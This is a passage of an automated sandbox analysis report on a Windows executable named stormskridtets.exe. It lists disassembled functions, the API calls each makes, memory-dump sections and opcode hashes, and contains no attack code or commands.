                                    • Associated: 00000000.00000002.1941679770.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1942041691.00000000007DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1942041691.000000000081E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_400000_stormskridtets.jbxd
                                    Similarity
                                    • API ID: CloseQueryValue
                                    • String ID: Call
                                    • API String ID: 3356406503-1824292864
                                    • Opcode ID: 5e421e957683aa7155fe1e1f393967b6404614e05e15b89e99e168e2dc4a01c3
                                    • Instruction ID: 373679b9ec00f947e58de2b720fd419a4882b2706591ab80caa015ae1ce90e84
                                    • Opcode Fuzzy Hash: 5e421e957683aa7155fe1e1f393967b6404614e05e15b89e99e168e2dc4a01c3
                                    • Instruction Fuzzy Hash: 56017C72510209EADF218F65CC09EDB3BA8FF54364F01803AFD5AA2190D778D964DBA4
                                    Function 004059D7 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON
                                    Download Yara Rule

                                    Control-flow Graph

                                    • Executed
                                    • Not Executed
                                    control_flow_graph 917 4059d7-405a08 CreateProcessW 918 405a16-405a17 917->918 919 405a0a-405a13 CloseHandle 917->919 919->918
                                    APIs
                                    • CreateProcessW.KERNELBASE(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,007A4F50,Error launching installer), ref: 00405A00
                                    • CloseHandle.KERNEL32(?), ref: 00405A0D
                                    Strings
                                    • Error launching installer, xrefs: 004059EA
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.1941638005.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                    • Associated: 00000000.00000002.1941614636.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941658971.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1942041691.00000000007DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1942041691.000000000081E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_400000_stormskridtets.jbxd
                                    Similarity
                                    • API ID: CloseCreateHandleProcess
                                    • String ID: Error launching installer
                                    • API String ID: 3712363035-66219284
                                    • Opcode ID: c4e46f1f673fd3826d078202ae771a3f9877dbb6e8e98e36d3575ddcb335b3d8
                                    • Instruction ID: 2b341ff16c6abf5d503a25303b32c86a9a78efd9c2a610832e0bce27d8c53e5f
                                    • Opcode Fuzzy Hash: c4e46f1f673fd3826d078202ae771a3f9877dbb6e8e98e36d3575ddcb335b3d8
                                    • Instruction Fuzzy Hash: F3E0BFF46002097FEB109F64ED05F7B77ACEB44644F004525BD54F6150D7B999148A7D
                                    Function 00401389 Relevance: 3.0, APIs: 2, Instructions: 43windowCOMMON
                                    Download Yara Rule
                                    APIs
                                    • MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013E4
                                    • SendMessageW.USER32(00000402,00000402,00000000), ref: 004013F4
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.1941638005.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                    • Associated: 00000000.00000002.1941614636.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941658971.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1942041691.00000000007DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1942041691.000000000081E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_400000_stormskridtets.jbxd
                                    Similarity
                                    • API ID: MessageSend
                                    • String ID:
                                    • API String ID: 3850602802-0
                                    • Opcode ID: 450ddb0a52dde23e6c3e7e65707e0a17b99b7c6dada291b67ac9213214883537
                                    • Instruction ID: 3e9f44f44444eb33be3e1f1d809517d1ef13f380758e007b8d3e22890c14ce30
                                    • Opcode Fuzzy Hash: 450ddb0a52dde23e6c3e7e65707e0a17b99b7c6dada291b67ac9213214883537
                                    • Instruction Fuzzy Hash: 0301F432624220ABE7195B389D05B2A3698E751318F10C13FF855F6AF1EA78CC02DB4D
                                    Function 004067E3 Relevance: 3.0, APIs: 2, Instructions: 22libraryloaderCOMMON
                                    Download Yara Rule
                                    APIs
                                    • GetModuleHandleA.KERNEL32(?,00000020,?,00403514,0000000B), ref: 004067F5
                                    • GetProcAddress.KERNEL32(00000000,?), ref: 00406810
                                      • Part of subcall function 00406773: GetSystemDirectoryW.KERNEL32(?,00000104), ref: 0040678A
                                      • Part of subcall function 00406773: wsprintfW.USER32 ref: 004067C5
                                      • Part of subcall function 00406773: LoadLibraryExW.KERNEL32(?,00000000,00000008), ref: 004067D9
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.1941638005.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                    • Associated: 00000000.00000002.1941614636.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941658971.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1942041691.00000000007DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1942041691.000000000081E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_400000_stormskridtets.jbxd
                                    Similarity
                                    • API ID: AddressDirectoryHandleLibraryLoadModuleProcSystemwsprintf
                                    • String ID:
                                    • API String ID: 2547128583-0
                                    • Opcode ID: 04b739db586b670126c7119b566f03dd1efc4ec82adb23a6bbf3e60323b3d7ce
                                    • Instruction ID: 99a4bc67a8c43757839ce5658996565e88f4cb2ecc15aeea03f34014f97f3c52
                                    • Opcode Fuzzy Hash: 04b739db586b670126c7119b566f03dd1efc4ec82adb23a6bbf3e60323b3d7ce
                                    • Instruction Fuzzy Hash: F2E0863350521056E611AA719D44C7773AC9F89650307843EF946F2080D738DC31ABBD
                                    Function 00405EE4 Relevance: 3.0, APIs: 2, Instructions: 16fileCOMMON
                                    Download Yara Rule
                                    APIs
                                    • GetFileAttributesW.KERNELBASE(?,00403055,C:\Users\user\Desktop\stormskridtets.exe,80000000,00000003,?,00000007,00000009,0000000B), ref: 00405EE8
                                    • CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,00000007,00000009,0000000B), ref: 00405F0A
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.1941638005.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                    • Associated: 00000000.00000002.1941614636.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941658971.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1942041691.00000000007DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1942041691.000000000081E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_400000_stormskridtets.jbxd
                                    Similarity
                                    • API ID: File$AttributesCreate
                                    • String ID:
                                    • API String ID: 415043291-0
                                    • Opcode ID: 080dfadfdaad2818d5b04c51cfada36c475993ea7ffea5996e238fb5a0e3a6c4
                                    • Instruction ID: 1030bc0f2bf25390ef9c6131bda9d6cfedcac9e68b753c15eded60bf4a570351
                                    • Opcode Fuzzy Hash: 080dfadfdaad2818d5b04c51cfada36c475993ea7ffea5996e238fb5a0e3a6c4
                                    • Instruction Fuzzy Hash: 5ED09E31254201AFEF098F20DE16F2E7BA2EB94B04F11552CB786941E0DAB15C199B15
                                    Function 004059A2 Relevance: 3.0, APIs: 2, Instructions: 9COMMON
                                    Download Yara Rule
                                    APIs
                                    • CreateDirectoryW.KERNELBASE(?,00000000,00403495,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,004036EC,?,00000007,00000009,0000000B), ref: 004059A8
                                    • GetLastError.KERNEL32(?,00000007,00000009,0000000B), ref: 004059B6
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.1941638005.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                    • Associated: 00000000.00000002.1941614636.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941658971.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1942041691.00000000007DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1942041691.000000000081E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_400000_stormskridtets.jbxd
                                    Similarity
                                    • API ID: CreateDirectoryErrorLast
                                    • String ID:
                                    • API String ID: 1375471231-0
                                    • Opcode ID: a5afa482e644e9a10fedfab033ae5dbb8931bf23a9e1c5533d9f8c1a63861871
                                    • Instruction ID: 379133542b1e1e7011c0d69b4b2ae41cc98c6aec5a22f3063a42931ced3e53c7
                                    • Opcode Fuzzy Hash: a5afa482e644e9a10fedfab033ae5dbb8931bf23a9e1c5533d9f8c1a63861871
                                    • Instruction Fuzzy Hash: 1EC04C71205502EEF6115B20DF48B1B7A909B50751F16843DA146E01E4DE389455D92D
                                    Function 73C92AF8 Relevance: 1.6, APIs: 1, Instructions: 143COMMON
                                    Download Yara Rule
                                    APIs
                                    • SetFilePointer.KERNELBASE(00000000), ref: 73C92BB7
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.1987649573.0000000073C91000.00000020.00000001.01000000.00000006.sdmp, Offset: 73C90000, based on PE: true
                                    • Associated: 00000000.00000002.1987047639.0000000073C90000.00000002.00000001.01000000.00000006.sdmpDownload File
                                    • Associated: 00000000.00000002.1987785731.0000000073C94000.00000002.00000001.01000000.00000006.sdmpDownload File
                                    • Associated: 00000000.00000002.1987804598.0000000073C96000.00000002.00000001.01000000.00000006.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_73c90000_stormskridtets.jbxd
                                    Similarity
                                    • API ID: FilePointer
                                    • String ID:
                                    • API String ID: 973152223-0
                                    • Opcode ID: 7137db618c05461e6a0383b4c4b8f96de91b50035a95e0272d239243d7c0e0b3
                                    • Instruction ID: 7eec0462e07986df3d5618e1e2efc3a152e0813b3bfdd0be631e4272d664763d
                                    • Opcode Fuzzy Hash: 7137db618c05461e6a0383b4c4b8f96de91b50035a95e0272d239243d7c0e0b3
                                    • Instruction Fuzzy Hash: AD417DB380024CEFFB20EF66D985B5937B9EB04314F339425E68ADA150DB35D8818B99
                                    Function 00405F67 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON
                                    Download Yara Rule
                                    APIs
                                    • ReadFile.KERNELBASE(00000000,00000000,00000004,00000004,00000000,?,?,00403457,00000000,00000000,0040329E,?,00000004,00000000,00000000,00000000), ref: 00405F7B
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.1941638005.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                    • Associated: 00000000.00000002.1941614636.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941658971.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1942041691.00000000007DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1942041691.000000000081E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_400000_stormskridtets.jbxd
                                    Similarity
                                    • API ID: FileRead
                                    • String ID:
                                    • API String ID: 2738559852-0
                                    • Opcode ID: 0024165f2f5d2011be9120f41fe866c54f7b8e58de784a1218c53157080e4b8c
                                    • Instruction ID: e146fa180a083be72d256ad1b428d57881e9eb39a1326beaade4420b40277b6a
                                    • Opcode Fuzzy Hash: 0024165f2f5d2011be9120f41fe866c54f7b8e58de784a1218c53157080e4b8c
                                    • Instruction Fuzzy Hash: E7E0EC3221065BAFDF10AEA59C04EFB7B6CEB05360F004836FD55E6150D635E9219BA8
                                    Function 00405F96 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON
                                    Download Yara Rule
                                    APIs
                                    • WriteFile.KERNELBASE(00000000,00000000,00000004,00000004,00000000,?,?,0040340D,000000FF,00793700,?,00793700,?,?,00000004,00000000), ref: 00405FAA
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.1941638005.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                    • Associated: 00000000.00000002.1941614636.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941658971.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1942041691.00000000007DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1942041691.000000000081E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_400000_stormskridtets.jbxd
                                    Similarity
                                    • API ID: FileWrite
                                    • String ID:
                                    • API String ID: 3934441357-0
                                    • Opcode ID: 3dec9289c2e50997f5b7f42c7d661c3d3292bfbb80aff78175bf8fde073ef60e
                                    • Instruction ID: df8aade711aef2fea4c6cc03ed90c08959c6261ddae8de931081f7d2433cde5f
                                    • Opcode Fuzzy Hash: 3dec9289c2e50997f5b7f42c7d661c3d3292bfbb80aff78175bf8fde073ef60e
                                    • Instruction Fuzzy Hash: 96E08C3221021AEBDF109E608C00AEB7B6CEB00360F004433FA24E3150D634E8218BA8
                                    Function 73C929DF Relevance: 1.5, APIs: 1, Instructions: 21memoryCOMMON
                                    Download Yara Rule
                                    APIs
                                    • VirtualProtect.KERNELBASE(73C9505C,00000004,00000040,73C9504C), ref: 73C929FD
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.1987649573.0000000073C91000.00000020.00000001.01000000.00000006.sdmp, Offset: 73C90000, based on PE: true
                                    • Associated: 00000000.00000002.1987047639.0000000073C90000.00000002.00000001.01000000.00000006.sdmpDownload File
                                    • Associated: 00000000.00000002.1987785731.0000000073C94000.00000002.00000001.01000000.00000006.sdmpDownload File
                                    • Associated: 00000000.00000002.1987804598.0000000073C96000.00000002.00000001.01000000.00000006.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_73c90000_stormskridtets.jbxd
                                    Similarity
                                    • API ID: ProtectVirtual
                                    • String ID:
                                    • API String ID: 544645111-0
                                    • Opcode ID: aa496fa728024ad83351b5adc3e66034681969b1f6be26d58b8c2eab215f3998
                                    • Instruction ID: d6007dd66c90d4a8a7e58077c0d79245294b819391328f26e0e9c2560b0bcdef
                                    • Opcode Fuzzy Hash: aa496fa728024ad83351b5adc3e66034681969b1f6be26d58b8c2eab215f3998
                                    • Instruction Fuzzy Hash: 6CF0A5F25052C0DED390EF2B84457093FE0B709304F27662AE39CEA289E3348845DF95
                                    Function 0040625B Relevance: 1.5, APIs: 1, Instructions: 19registryCOMMON
                                    Download Yara Rule
                                    APIs
                                    • RegOpenKeyExW.KERNELBASE(00000000,00000000,00000000,?,?,007A0F28,?,?,004062E9,007A0F28,00000000,?,?,Call,?), ref: 0040627F
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.1941638005.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                    • Associated: 00000000.00000002.1941614636.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941658971.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1942041691.00000000007DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1942041691.000000000081E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_400000_stormskridtets.jbxd
                                    Similarity
                                    • API ID: Open
                                    • String ID:
                                    • API String ID: 71445658-0
                                    • Opcode ID: dcd566976f3bef00ddda20b11fb2537fa700d8cbfb920dfffbe2909342267143
                                    • Instruction ID: 981b209bfbc59ad728c3152e24748ded8346fc425447e23afb42b8d85bc6dac1
                                    • Opcode Fuzzy Hash: dcd566976f3bef00ddda20b11fb2537fa700d8cbfb920dfffbe2909342267143
                                    • Instruction Fuzzy Hash: 35D0123200020DBBDF11AF90ED05FAB372DAB08350F014426FE06A4091D775D530A728
                                    Function 00404390 Relevance: 1.5, APIs: 1, Instructions: 9windowCOMMON
                                    Download Yara Rule
                                    APIs
                                    • SendMessageW.USER32(?,00000000,00000000,00000000), ref: 004043A2
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.1941638005.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                    • Associated: 00000000.00000002.1941614636.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941658971.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1942041691.00000000007DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1942041691.000000000081E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_400000_stormskridtets.jbxd
                                    Similarity
                                    • API ID: MessageSend
                                    • String ID:
                                    • API String ID: 3850602802-0
                                    • Opcode ID: 749224e8f98fb78827d13f0d237c1790e640dc60b1af624d5aad8e7e956e5cea
                                    • Instruction ID: 2ab46fc48b107f7ec410a0490fc1e10939948660fe742cc14426a6f165494095
                                    • Opcode Fuzzy Hash: 749224e8f98fb78827d13f0d237c1790e640dc60b1af624d5aad8e7e956e5cea
                                    • Instruction Fuzzy Hash: 26C04C75784700BADA149B549E45F0677546B90701F158429B641A50D0CA78D410DA2C
                                    Function 0040345A Relevance: 1.5, APIs: 1, Instructions: 6COMMON
                                    Download Yara Rule
                                    APIs
                                    • SetFilePointer.KERNELBASE(?,00000000,00000000,004031DA,?,?,00000007,00000009,0000000B), ref: 00403468
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.1941638005.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                    • Associated: 00000000.00000002.1941614636.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
